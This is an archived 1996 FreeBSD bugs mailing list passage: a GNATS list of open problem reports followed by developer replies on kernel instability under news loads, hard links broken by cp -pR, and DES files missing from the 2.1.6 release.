--exclude -c doesn't work o [1995/06/15] bin/517 wpaul Bad group change with 'install' o [1995/07/05] bin/591 phk SPAP request REJexted in stead of NAKed o [1995/08/05] gnu/655 jdp ld -r of shared objects worked in 1.1.5, o [1995/08/07] bin/658 wollman ifconfig alias has to be separately given a [1995/08/07] bin/661 sos Hercules is not capable of having a ISO-L o [1995/08/11] ports/673 joerg /bin/sh + inn1.4 innwatch going belly up f [1995/08/12] kern/677 dyson X gets a bus error when calling mmap() o [1995/08/13] bin/680 joerg 2.0.5's tip using termios doesn't act the o [1995/08/29] bin/715 ache ls gives weird tabular form o [1995/09/26] kern/742 dyson syslog errors accessing Mac hard disks [p o [1995/09/28] kern/752 wollman setting multiple addresses for a single i o [1995/09/28] kern/753 joerg my archive scsi tape drive does not work o [1995/09/28] docs/754 nate there is no man page for the psm(4) mouse o [1995/10/03] kern/765 phk umount -f can`t umount a NFS filesystem i o [1995/10/14] kern/781 bde OPEN_MAX in kernel config and FD_SETSIZE o [1995/10/25] kern/792 dyson cd9660 very slow. o [1995/10/29] docs/801 mpp rlogind k, v, and x options are not docum o [1995/10/31] bin/803 bsd m4 chokes and dies while FSF m4 works o [1995/11/11] bin/815 mountd reports unknown hosts with non-inf o [1995/11/20] kern/831 one minor complaint about the kernel visu o [1995/11/22] kern/835 davidg ed panics with SMC ultra with iomem, if n a [1995/11/25] bin/839 by default, use of "at" is overly restric o [1995/11/27] bin/841 stale nfs mounts cannot be umounted o [1995/11/30] bin/854 dyson swapinfo shows incorrect information for f [1995/12/03] kern/861 sb16 support in 2.1 is erratic and has co o [1995/12/06] ports/871 asami port.subdir.mk DEBUG_FLAGS is not used fo o [1995/12/17] kern/900 dyson ext2fs triggers divide by zero trap in vn a [1995/12/29] misc/922 From line handling incorrect in mail.loca a [1995/12/31] kern/924 EISA devices have disappeared from vmstat o [1996/01/06] misc/934 amurai ppp dies with Bus Error when processing l f [1996/01/15] kern/946 divide-by-zero in kernel on bad disk info o [1996/01/21] bin/961 'more $file', incorrect CRLF compacting. o [1996/01/23] ports/968 asami Netscape & cern_httpd ports out of date/d o [1996/01/28] kern/975 bde getrusage returns negative deltas a [1996/01/30] bin/981 fenner clnt_broadcast() is not aware of aliases s [1996/02/03] bin/993 peter g++ complains about /usr/include/machine/ o [1996/02/07] bin/999 peter /usr/share/mk/sys.mk missing common $(RM) o [1996/02/07] kern/1001 bde M_NAMEI malloc leak in the kernel o [1996/02/12] bin/1021 phk pppd doesn't handle PAP-only authenticati f [1996/02/14] kern/1026 deadlocks if parent vfork and child has c f [1996/02/15] bin/1029 cd behaves erraticly if cwd is a mount-po a [1996/02/19] bin/1035 ls to terminal always uses ? for non-prin o [1996/02/19] docs/1036 mpp List of dead xrefs in man pages f [1996/02/19] bin/1037 2.x telnetd handles CTRL-M differently th o [1996/02/25] i386/1042 bde Warning from sio driver reports wrong dev o [1996/02/26] misc/1043 dyson vm_bounce_alloc error on 2.1 install with f [1996/02/29] kern/1051 zip fails on dos partition a [1996/03/18] docs/1089 bde stat manpage unclear about st_mtime & fri o [1996/03/20] kern/1090 iostat displays incorrect sps count o [1996/03/20] bin/1093 wollman route's diagnostic is weird a [1996/03/28] bin/1105 Bug in find command o [1996/04/06] kern/1119 dyson Mounted EXT2FS partition is not cleanly u o [1996/04/14] docs/1141 mpp pcvt(4) references non-existent man page. a [1996/04/15] kern/1144 sig{add, del}set and sigismember fns don' o [1996/04/19] docs/1151 mpp intro(3) references libc(3) and plot(3), a [1996/04/22] bin/1154 Configure tunN device for ip-over-ip tunn o [1996/04/23] ports/1155 systat or top display disagreeing informa o [1996/05/02] docs/1169 mpp bogus reference to keysu(1) in key(1) and o [1996/05/09] bin/1184 scrappy ls + xterm + nvi + columns != 80 + ^Z = m f [1996/05/13] kern/1201 gibbs FreeBSD SCSI changer driver leaves a bit o [1996/05/15] bin/1206 steve /bin/sh + emacs + ^G = ruined terminal a [1996/05/20] bin/1221 andreas new gcc-2.7.2 gives a LOT of warnings, an a [1996/05/20] ports/1222 andreas Header files conflict a [1996/05/21] bin/1229 bde redundant redeclaration of `lseek' o [1996/05/22] kern/1236 joerg some #def's in pcvt_conf.h not braketed b o [1996/06/11] bin/1312 automounter hangs on boot o [1996/06/12] conf/1319 muldi3 is not included into kernel's Make a [1996/06/13] bin/1320 gpalmer dump limits blocksize to 32K o [1996/06/18] i386/1331 phk changes and bug in ft driver f [1996/06/18] bin/1332 changes to amd and possible nfs lkm bug? f [1996/06/19] misc/1335 /etc/security generates an error with fil f [1996/07/04] i386/1367 reprobe a device that does not exist = pa f [1996/07/04] misc/1369 Need SC_MORE_LUS for Emulex MD23 also o [1996/07/06] misc/1373 bde RPC include lacks prototypes o [1996/07/06] docs/1374 mpp the default listed in the newfs -i man pa a [1996/07/07] bin/1375 Extraneous warning from mv(1) f [1996/07/07] misc/1376 if_tun.c does not set if_ibytes and if_ob f [1996/07/16] misc/1390 feedback from 2.1.5R update over 2.1-stab o [1996/07/16] bin/1391 cpio -O ignores umask o [1996/07/18] kern/1399 invoking setuid programs over NFS case vn o [1996/07/21] ports/1416 bde cflow(1) doesn't parse GNU C __attribute_ s [1996/07/23] kern/1421 Non-bug in sosend() o [1996/07/24] misc/1428 ncurses doesn't always display ALTCHARSET a [1996/07/28] docs/1437 mpp bsd.doc.mk sees PRINTER and spews o [1996/08/03] kern/1462 nfsstat doesn't work if using LKM'ed vers o [1996/08/06] bin/1469 jkh it is difficult to run /usr/sbin/ppp from o [1996/08/07] ports/1470 asami need more info in the ports structure o [1996/08/09] bin/1482 sos vidcontrol -f fnt-size file-with-wrong-fn o [1996/08/12] docs/1493 dyson incomplete prototypes in man pages for mm o [1996/08/17] kern/1501 vmstat reports impossible avm after start o [1996/08/17] bin/1502 vmstat 'avm' field merges with procs 'w' o [1996/08/17] ports/1504 jmz latex port completely failes o [1996/08/17] kern/1508 sos syscons should protect against useless DD o [1996/08/19] kern/1514 dyson mlock fails on readonly regions o [1996/08/20] kern/1516 dyson vm_fault.c contains dead code or too many o [1996/08/20] ports/1517 adam What is InterViews ??!?! o [1996/08/20] ports/1518 torstenb No man pages in audio/mpegaudio port o [1996/08/21] ports/1520 sudo dosn't recognise certain passwords a o [1996/08/21] bin/1523 "cvs update -d -P" prunes unchecked-in di o [1996/08/21] ports/1524 tg New port -- xtem-5.18beta o [1996/08/21] ports/1525 tg xvnews-2.3.2 o [1996/08/21] ports/1526 tg xtar-1.4 o [1996/08/21] ports/1527 tg xmaddressbook-1.5.3 o [1996/08/21] ports/1529 New port -- bricons-3.0 o [1996/08/24] misc/1538 enhanced /etc/security script o [1996/08/27] bin/1547 se ncrcontrol won't work with FAILSAFE kerne o [1996/08/27] bin/1548 ncrcontrol -i queries don't work for mere o [1996/08/27] ports/1549 Port submission for gdbtk a [1996/08/28] ports/1550 "make install" needs to know how to updat a [1996/08/29] docs/1551 manpage of zgrep not installed in 2.1.5R o [1996/08/29] ports/1553 jfitz submittal of cops port o [1996/08/30] i386/1556 ATAPI CDROM probes ok, but will not 'moun o [1996/08/31] bin/1559 ftpd apparently not recognizing -l or -S o [1996/09/02] misc/1561 sos Wrong key mapping of five keys in german. a [1996/09/04] bin/1565 Moving a file to it's link completely rem o [1996/09/06] bin/1577 mail -f foo does not look in current dire o [1996/09/07] bin/1578 fsck does not honour 'noauto' fs option o [1996/09/08] ports/1583 max I made ldap-3.3 port o [1996/09/08] bin/1589 ftp fails to flush output o [1996/09/10] bin/1597 No support for positional parameters in * o [1996/09/11] bin/1598 tip leaves OPOST set on controlling termi o [1996/09/12] docs/1602 mpp /usr/lib/terminfo refered to in man termi o [1996/09/12] bin/1607 unmount fails for a NFS fs mounted withou o [1996/09/14] gnu/1611 groff should use "system-wide" papersize o [1996/09/14] kern/1614 Attempt to mount an NTFS partition causes o [1996/09/15] docs/1618 Man page for siginterrupt thinks it is in a [1996/09/16] bin/1621 last char in line stays "$" o [1996/09/16] bin/1623 rpc/auth.h won't compile with -ansi flag o [1996/09/16] misc/1625 jkh 2.1.5 update overwrites root's dot files o [1996/09/17] docs/1630 Addition to handbook concerning MFS kerne o [1996/09/17] ports/1631 obrien new port, lprps -- PS printing lpr filter f [1996/09/18] kern/1636 mss driver extension to broaden support a [1996/09/18] bin/1642 pkg_install Makefiles could be simplified o [1996/09/19] ports/1646 obrien Port of lclint - a better lint replacemen o [1996/09/19] bin/1649 md5(1) header file makes bad assumption o [1996/09/19] bin/1653 cannot umount the node ending '/' when it o [1996/09/19] kern/1654 In procfs, vattr doesn't contain correct o [1996/09/20] bin/1657 ls(1) output of future mtime o [1996/09/20] kern/1658 ktrace/kdump flaky - corrupted ktrace.out o [1996/09/22] bin/1665 telnetd doesn't use gettytab %m %r %v %s o [1996/09/23] i386/1671 s2 map in pcvt isn't ISO 8859-1 and claim o [1996/09/24] bin/1674 strange behaviour of pppd (daemonize, def o [1996/09/25] docs/1681 procfs man page way out of date o [1996/09/27] misc/1686 jkh sysinstall should allow partition size ch o [1996/09/29] kern/1690 apm and sbxvi inappropriately probe as co o [1996/09/29] docs/1691 ppp server doc submission o [1996/09/30] bin/1695 sos moused fails with PS/2 mouse o [1996/09/30] conf/1697 sos rc.i386 missing line for moused o [1996/10/01] bin/1700 'ls -lo' does not list opaque flag (chfla o [1996/10/02] misc/1708 monthly login accounting o [1996/10/02] kern/1711 kernel logging of signaled processes shou o [1996/10/02] docs/1712 semget man page refers to SEM_W instead o o [1996/10/02] gnu/1713 mkisofs doesn't match man page in behavio o [1996/10/03] misc/1717 Use of ntohl causes lint to complain a [1996/10/04] bin/1722 wollman Routed byte order problem o [1996/10/04] kern/1725 visual config redraws bits of the screen o [1996/10/08] ports/1743 submission of new port (tiff-3.4) o [1996/10/09] ports/1752 Update of nedit port o [1996/10/10] bin/1755 more(1) generates garbage at end of file o [1996/10/10] kern/1758 New AWE32 sound card driver for integrati o [1996/10/11] ports/1764 Fixed port: whirlgif o [1996/10/11] ports/1770 port of the xripple program o [1996/10/11] conf/1777 sysctl called in /etc/netstart before /us o [1996/10/12] bin/1778 locate.updatedb uses /tmp directory. o [1996/10/13] kern/1788 pst netstat gives negative numbers for tcp by o [1996/10/13] misc/1791 syslimits.h does not allow overriding def o [1996/10/13] bin/1793 steve /bin/sh return w/o exitstatus in a functi o [1996/10/13] ports/1799 New port : xbakuzan o [1996/10/13] ports/1801 tg New port : xsokoban o [1996/10/14] bin/1804 pkg_create hangs if the packing list has o [1996/10/14] conf/1808 jkh The mount menu for installation fails wit o [1996/10/14] i386/1809 floppy boot code causes reboot of compute o [1996/10/15] kern/1811 sos Patch to correct rows/columns for syscons o [1996/10/16] bin/1827 add support of Glidepoint trackpad "tap/d o [1996/10/17] bin/1831 routed's rdisc mode is installing incorre o [1996/10/18] ports/1834 COMMENT may be amusing but is not informa o [1996/10/18] ports/1837 asami ports upgrade too fast :) o [1996/10/19] docs/1841 NT boot mgr too Linux centric in FAQ o [1996/10/19] bin/1843 Gdb dumps core upon executing ``help set' o [1996/10/19] ports/1844 obrien new port, zmtx-zmrx (zmodem xfer prog) o [1996/10/20] docs/1847 new handbook iijppp server section o [1996/10/20] bin/1849 gdb sets library breakpoints on the wrong o [1996/10/20] docs/1851 madvise MADV_FREE manual page clarificati o [1996/10/20] misc/1853 Syscons font mapping semms not to work pr o [1996/10/20] docs/1854 Error in bootparams(5) man page o [1996/10/20] docs/1855 joerg Addition to LINT o [1996/10/21] kern/1859 fddi_input() floods system msg buffer whe o [1996/10/22] misc/1861 jkh Upgrade install should save list of files o [1996/10/22] bin/1864 FTP case mapping during MGET o [1996/10/22] ports/1867 port upload o [1996/10/22] kern/1868 system knows it has no keyboard but compl o [1996/10/23] misc/1871 incorrect '===> item' when making world o [1996/10/23] bin/1872 automounter (amd) cannot ls directories w o [1996/10/24] kern/1878 SONY CDU76E IDE/ATAPI CDROM support. f [1996/10/24] bin/1879 fenner rdump fails with "TCP_MAXSEG setsockopt: o [1996/10/24] bin/1881 file(1) misidentifies Sun3/m68k executabl f [1996/10/25] ports/1883 jfitz Fixed port : crack-4.1f f [1996/10/25] ports/1884 jfitz Fixed port : qvwm (x11 window_manager) o [1996/10/26] docs/1896 compilation errors in share/doc/psd/19.cu o [1996/10/26] bin/1897 Sendmail 8.8.2 requires /etc/sendmail.cw o [1996/10/27] ports/1902 asami additional clean targets for bsd.port.mk o [1996/10/27] bin/1904 /usr/bin/su is not careful enough in veri o [1996/10/27] bin/1905 There's a buffer overflow in FreeBSD libc o [1996/10/27] conf/1906 sysinstall did not install bison.simple o o [1996/10/27] misc/1908 FTP install failed DNS lookup o [1996/10/28] ports/1913 new port of cgoban-1.6.2 o [1996/10/28] conf/1915 8 bit chars dont work with LC_CTYPE=fi o [1996/10/29] docs/1922 Spelling of datasets not consistent o [1996/10/29] bin/1924 if lpd is not running, lpc will say ``no a [1996/10/29] bin/1925 file does not consider cyrillic text as t o [1996/10/30] i386/1931 Mitsumi CDrom works well under 2.1.x, fai o [1996/10/31] ports/1939 exodus port doesn't build with new g++-2. o [1996/11/01] bin/1941 wtmp and monthly rotation o [1996/11/01] bin/1943 route(8) args o [1996/11/02] pending/1944 /usr/games/larn fails to create score fil o [1996/11/02] bin/1945 Out of date code/comments in dd o [1996/11/03] i386/1950 Sound driver doesn't encode/decode mu-law o [1996/11/04] i386/1953 syscons savers have no default timeout o [1996/11/04] bin/1954 Fix string.h to be POSIX compliant o [1996/11/04] conf/1957 not all perms of ptys are put back into s o [1996/11/04] gnu/1961 uucp logging files are in /var/spool/uucp o [1996/11/05] bin/1964 In my NIS environment, finger(1) fails. o [1996/11/06] bin/1968 FreeBSD has no rdate(8), here's one o [1996/11/06] bin/1970 csh limtail() bug o [1996/11/06] docs/1971 the fbtab(5) man page has cut&paste debri o [1996/11/08] ports/1980 Fixed port (Fetch URL failure): gifmerge o [1996/11/09] bin/1985 pkg_delete outputs confusing message when o [1996/11/09] bin/1986 error in lpr(1) argument handling [with f o [1996/11/10] ports/1991 afio-2.4.2 port update o [1996/11/12] ports/1995 jfitz Fixed port : Qvwm o [1996/11/12] ports/1997 initial upload of port for dotfile genera o [1996/11/13] ports/1999 Fixed port( version updated): whirlgif o [1996/11/13] kern/2004 route add -link panic o [1996/11/13] bin/2005 Poor command line argument checking and b o [1996/11/14] misc/2007 /usr/include/sys lacking timer arithmetic o [1996/11/14] bin/2008 kerberos tickets from login all have the o [1996/11/14] pending/2009 Reference to nonexistent file in trek.6 m o [1996/11/14] kern/2015 2.2-960801-SNAP kernel dosn't recognise m o [1996/11/15] ports/2021 Moved port location: xbakuzan o [1996/11/15] kern/2022 Switching from X display to virtual conso o [1996/11/15] ports/2025 asami Moved port location: xmascot o [1996/11/15] ports/2029 tg Moved port location: xsokoban o [1996/11/15] ports/2032 Moved port location: Crack o [1996/11/16] bin/2036 cpio size wraparound o [1996/11/16] ports/2039 Elm port does not respect ${PREFIX} modif o [1996/11/16] bin/2040 make world fails after cp -pR of /usr/bin o [1996/11/16] i386/2041 typo in /sys/i386/boot/biosboot/boot.c o [1996/11/17] ports/2042 Fixed port: xsokoban (CATEGORY: games) o [1996/11/17] ports/2045 Fixed port: xmascot (CATEGORY: x11) 263 problems total. From owner-freebsd-bugs Sun Nov 17 06:30:06 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA28430 for bugs-outgoing; Sun, 17 Nov 1996 06:30:06 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA28420; Sun, 17 Nov 1996 06:30:03 -0800 (PST) Date: Sun, 17 Nov 1996 06:30:03 -0800 (PST) Message-Id: <199611171430.GAA28420@freefall.freebsd.org> To: freebsd-bugs Cc: From: Peter Wemm Subject: Re: kern/1698: sup from around 21:51 GMT 28th very unstable (mmap, maybe?) Reply-To: Peter Wemm Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR kern/1698; it has been noted by GNATS. From: Peter Wemm To: Heikki Suonsivu Cc: FreeBSD-gnats-submit@freefall.freebsd.org Subject: Re: kern/1698: sup from around 21:51 GMT 28th very unstable (mmap, maybe?) Date: Sun, 17 Nov 1996 22:20:43 +0800 Heikki Suonsivu wrote: > November 16 kernel is still unstable. For last two kernels I got a > deadlock within 5 minutes of newsfeed starting up, so something might have > changed, from crash and filesystem corruption to deadlock. August 19 > kernel still runs with no serious problems. > > Has anyone got a news server running reliably with kernels later than end > of August (preferably ones with tag RELENG_2_2) ? It seems odd that I can > repeat this so easily, I would assume a lot of people should see this ? I > have gotten metoos from (only?) three people now. This problem has been > there for about 2 months now. Will this do? FreeBSD gecko2.dialix.com.au 2.2-CURRENT #30: Mon Oct 14 03:41:06 WST 1996 10:07PM up 33 days, 10:33, 2 users, load averages: 0.31, 0.51, 0.62 > > We use 4K blocksize. With the previous kernel from about a month a go we > > have been getting uptimes of about a week, I do not know for sure how much > > average would be as I have been about once a week tried to upgrade to a > > newer current. I haven't seen a single corruption problem with that > > kernel, though some panics, so something bad happened about month ago. Have you tried redoing a newfs on the news partition with the default 8K/1K blocksizes? (Yes, it's painful, I know) The machine above was filesystem corruption within about 3 days of each filesystem clean. We newfs'ed the partition 3 times over the last 6 months, the problem kept coming back after a few days. I am also suspicious of some problem that seems to be related to the kernel size and data space layouts. We had a (different) machine crashing daily for about a week, and that was "fixed" simply by changing a few compile parameters. eg: changing maxusers from 48 to 38, changing "pseudo-device vn 4" to 2, and dropping an unused driver. We don't know if this was coincidence or otherwise. I don't like not knowing, but I'm not game to tempt fate on that machine, it's too important. The config file on the crashing machine was practically identical to other machines with nearly the same hardware that were not crashing. You might like to try doing some arbitary changes to the kernel (adding a few extra unused drivers and changing the maxusers params might do it) and see if that has any effect on your uptime. Cheers, -Peter From owner-freebsd-bugs Sun Nov 17 07:00:13 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA04428 for bugs-outgoing; Sun, 17 Nov 1996 07:00:13 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA04417; Sun, 17 Nov 1996 07:00:07 -0800 (PST) Date: Sun, 17 Nov 1996 07:00:07 -0800 (PST) Message-Id: <199611171500.HAA04417@freefall.freebsd.org> To: freebsd-bugs Cc: From: Wolfram Schneider Subject: bin/2040: make world fails after cp -pR of /usr/bin Reply-To: Wolfram Schneider Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/2040; it has been noted by GNATS. From: Wolfram Schneider To: charnier@xp11.frmug.org Cc: FreeBSD-gnats-submit@freebsd.org Subject: bin/2040: make world fails after cp -pR of /usr/bin Date: Sun, 17 Nov 1996 14:30:32 +0100 > cp -pR breaks hard links, (chpass, chfn, chsh, ypchpass, ypchfn and >ypchsh become 6 differents programs). Use tar or cpio for coping, e.g.: $ tar cf - /usr/bin | (cd /backup; tar xf -) (the patch seems ok). Wolfram From owner-freebsd-bugs Sun Nov 17 07:29:08 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA05827 for bugs-outgoing; Sun, 17 Nov 1996 07:29:08 -0800 (PST) Received: from metronet.com (pgilley@fohnix.metronet.com [192.245.137.2]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id HAA05805 for ; Sun, 17 Nov 1996 07:28:56 -0800 (PST) Received: from localhost by metronet.com with SMTP id AA27925 (5.67a/IDA1.5hp for ); Sun, 17 Nov 1996 09:28:22 -0600 Date: Sun, 17 Nov 1996 09:28:22 -0600 (CST) From: Phil Gilley To: Joerg Wunsch Cc: Mark Murray , bugs@freebsd.org Subject: Re: 2.1.6-RELEASE DES Problem In-Reply-To: <199611170813.JAA11252@uriah.heep.sax.de> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 17 Nov 1996, J Wunsch wrote: > As Mark Murray wrote: > > > Phil Gilley wrote: > > > The DES package seems to be missing /sbin/init and maybe other things as > > > well (the same problem also existed under 2.1.5-RELEASE). > > > You're right. Secure init and ed-with-crypt are missing. > > Sigh. If people had actually had reported this problem with 2.1.5, > it's rather easy to fix. Now it's too late. :-( I did report this problem with 2.1.5-RELEASE. I admit it was in a post to -questions instead of -bugs, but because several core members responded I assumed it would have been fixed. (I know, never assume anything.) Is it really too late to reroll the release? It would be nice to have it fixed on the CD. Phil Gilley pgilley@metronet.com From owner-freebsd-bugs Sun Nov 17 07:54:52 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA07037 for bugs-outgoing; Sun, 17 Nov 1996 07:54:52 -0800 (PST) Received: from grackle.grondar.za (grackle.grondar.za [196.7.18.131]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id HAA07030 for ; Sun, 17 Nov 1996 07:54:35 -0800 (PST) Received: from grackle.grondar.za (0bYDxCBVJ1u6czbWPQR5Hjqj3dkOaUR9@localhost.grondar.za [127.0.0.1]) by grackle.grondar.za (8.8.2/8.7.3) with ESMTP id RAA23543; Sun, 17 Nov 1996 17:53:20 +0200 (SAT) Message-Id: <199611171553.RAA23543@grackle.grondar.za> To: Phil Gilley cc: Joerg Wunsch , bugs@freebsd.org Subject: Re: 2.1.6-RELEASE DES Problem Date: Sun, 17 Nov 1996 17:53:19 +0200 From: Mark Murray Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Phil Gilley wrote: > > Sigh. If people had actually had reported this problem with 2.1.5, > > it's rather easy to fix. Now it's too late. :-( > > I did report this problem with 2.1.5-RELEASE. I admit it was in a post > to -questions instead of -bugs, but because several core members responded > I assumed it would have been fixed. (I know, never assume anything.) I am the one most likely to fix this problem, and I am neither on the core team nor the questions list. > Is it really too late to reroll the release? It would be nice to have it > fixed on the CD. Agreed, but it is up to core now. 2.1.6.1 ayone? M -- Mark Murray PGP key fingerprint = 80 36 6E 40 83 D6 8A 36 This .sig is umop ap!sdn. BC 06 EA 0E 7A F2 CE CE From owner-freebsd-bugs Sun Nov 17 09:26:09 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA15792 for bugs-outgoing; Sun, 17 Nov 1996 09:26:09 -0800 (PST) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id JAA15757 for ; Sun, 17 Nov 1996 09:25:51 -0800 (PST) Received: (from bde@localhost) by godzilla.zeta.org.au (8.7.6/8.6.9) id EAA22747; Mon, 18 Nov 1996 04:22:00 +1100 Date: Mon, 18 Nov 1996 04:22:00 +1100 From: Bruce Evans Message-Id: <199611171722.EAA22747@godzilla.zeta.org.au> To: freebsd-bugs@freefall.freebsd.org, wosch@cs.tu-berlin.de Subject: Re: bin/2040: make world fails after cp -pR of /usr/bin Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > cp -pR breaks hard links, (chpass, chfn, chsh, ypchpass, ypchfn and > >ypchsh become 6 differents programs). > > Use tar or cpio for coping, e.g.: > $ tar cf - /usr/bin | (cd /backup; tar xf -) tar and cpio and pax don't preserve the immutable flags, so this breaks things in a different way. Bruce From owner-freebsd-bugs Sun Nov 17 12:20:56 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA13088 for bugs-outgoing; Sun, 17 Nov 1996 12:20:56 -0800 (PST) Received: (from bde@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA13077; Sun, 17 Nov 1996 12:20:53 -0800 (PST) Date: Sun, 17 Nov 1996 12:20:53 -0800 (PST) From: Bruce Evans Message-Id: <199611172020.MAA13077@freefall.freebsd.org> To: Schweikhardt@RUS.Uni-Stuttgart.DE, bde, freebsd-bugs Subject: Re: misc/1998 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: clock() wraps after only 548775 ticks State-Changed-From-To: open-closed State-Changed-By: bde State-Changed-When: Sun Nov 17 12:16:51 PST 1996 State-Changed-Why: Essentially a duplicate of #788. Fixed in rev.1.13-1.14 on 1995/10/21-23 in -current. Fixed in rev.1.12.4.1 on 1996/07/02 in -stable. From owner-freebsd-bugs Sun Nov 17 12:28:28 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA13494 for bugs-outgoing; Sun, 17 Nov 1996 12:28:28 -0800 (PST) Received: (from bde@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA13483; Sun, 17 Nov 1996 12:28:25 -0800 (PST) Date: Sun, 17 Nov 1996 12:28:25 -0800 (PST) From: Bruce Evans Message-Id: <199611172028.MAA13483@freefall.freebsd.org> To: ccsanady@friley216.res.iastate.edu, bde, freebsd-bugs Subject: Re: misc/2007 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: /usr/include/sys lacking timer arithmetic functions.. State-Changed-From-To: open-closed State-Changed-By: bde State-Changed-When: Sun Nov 17 12:23:59 PST 1996 State-Changed-Why: The change is not necessary. The macros are to avoid duplicating code in the kernel in NetBSD, but FreeBSD already avoids duplication by using functions and not attempting to optimize this. From owner-freebsd-bugs Sun Nov 17 12:30:16 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA13702 for bugs-outgoing; Sun, 17 Nov 1996 12:30:16 -0800 (PST) Received: (from bde@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA13686; Sun, 17 Nov 1996 12:30:12 -0800 (PST) Date: Sun, 17 Nov 1996 12:30:12 -0800 (PST) From: Bruce Evans Message-Id: <199611172030.MAA13686@freefall.freebsd.org> To: charnier@xp11.frmug.org, bde, freebsd-bugs Subject: Re: i386/2041 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: typo in /sys/i386/boot/biosboot/boot.c State-Changed-From-To: open-closed State-Changed-By: bde State-Changed-When: Sun Nov 17 12:28:38 PST 1996 State-Changed-Why: The "typo" is intentional. From owner-freebsd-bugs Sun Nov 17 14:30:22 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA18637 for bugs-outgoing; Sun, 17 Nov 1996 14:30:22 -0800 (PST) Received: from root.com (implode.root.com [198.145.90.17]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA18586 for ; Sun, 17 Nov 1996 14:29:59 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by root.com (8.7.6/8.6.5) with SMTP id OAA18884; Sun, 17 Nov 1996 14:27:50 -0800 (PST) Message-Id: <199611172227.OAA18884@root.com> X-Authentication-Warning: implode.root.com: Host localhost [127.0.0.1] didn't use HELO protocol To: Mark Murray cc: Phil Gilley , Joerg Wunsch , bugs@freebsd.org Subject: Re: 2.1.6-RELEASE DES Problem In-reply-to: Your message of "Sun, 17 Nov 1996 17:53:19 +0200." <199611171553.RAA23543@grackle.grondar.za> From: David Greenman Reply-To: dg@root.com Date: Sun, 17 Nov 1996 14:27:50 -0800 Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> Is it really too late to reroll the release? It would be nice to have it >> fixed on the CD. > >Agreed, but it is up to core now. 2.1.6.1 ayone? Not unless a problem much more serious is found. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-bugs Sun Nov 17 19:57:35 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA07014 for bugs-outgoing; Sun, 17 Nov 1996 19:57:35 -0800 (PST) Received: from mail.webspan.net (mail.webspan.net [206.154.70.7]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA06979; Sun, 17 Nov 1996 19:57:20 -0800 (PST) Received: from orion.webspan.net (orion.webspan.net [206.154.70.5]) by mail.webspan.net (8.7.5/8.7.3) with ESMTP id WAA28332; Sun, 17 Nov 1996 22:55:30 -0500 (EST) Received: from orion.webspan.net (localhost [127.0.0.1]) by orion.webspan.net (8.7.5/8.7.3) with ESMTP id WAA28115; Sun, 17 Nov 1996 22:55:26 -0500 (EST) To: Heikki Suonsivu cc: Peter Wemm , FreeBSD-gnats@freefall.freebsd.org, freebsd-bugs@freefall.freebsd.org From: "Gary Palmer" Subject: Re: kern/1698: sup from around 21:51 GMT 28th very unstable (mmap, maybe?) In-reply-to: Your message of "Sun, 17 Nov 1996 10:55:03 +0200." <199611170855.KAA25317@katiska.clinet.fi> Date: Sun, 17 Nov 1996 22:55:26 -0500 Message-ID: <28113.848289326@orion.webspan.net> Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Heikki Suonsivu wrote in message ID <199611170855.KAA25317@katiska.clinet.fi>: > Has anyone got a news server running reliably with kernels later than end > of August (preferably ones with tag RELENG_2_2) ? It seems odd that I can > repeat this so easily, I would assume a lot of people should see this ? I > have gotten metoos from (only?) three people now. This problem has been > there for about 2 months now. root@news:~> uname -a FreeBSD news.webspan.net 2.2-CURRENT FreeBSD 2.2-CURRENT #0: Sat Nov 2 13:36:08 EST 1996 gpalmer@news.webspan.net:/usr/src/sys/compile/NEWS i386 root@news:~> uptime 10:53PM up 12 days, 9:09, 13 users, load averages: 1.20, 1.18, 1.17 root@news:~> > The system is 3940, seagate Hawks for news disks, P120 ASUS TritonII, 96M. > Exports two NFS disks (not the news partitions). Try putting `AHC_FORCE_PIO' in your config file and see. From GENERIC: options "AHC_FORCE_PIO" # Some 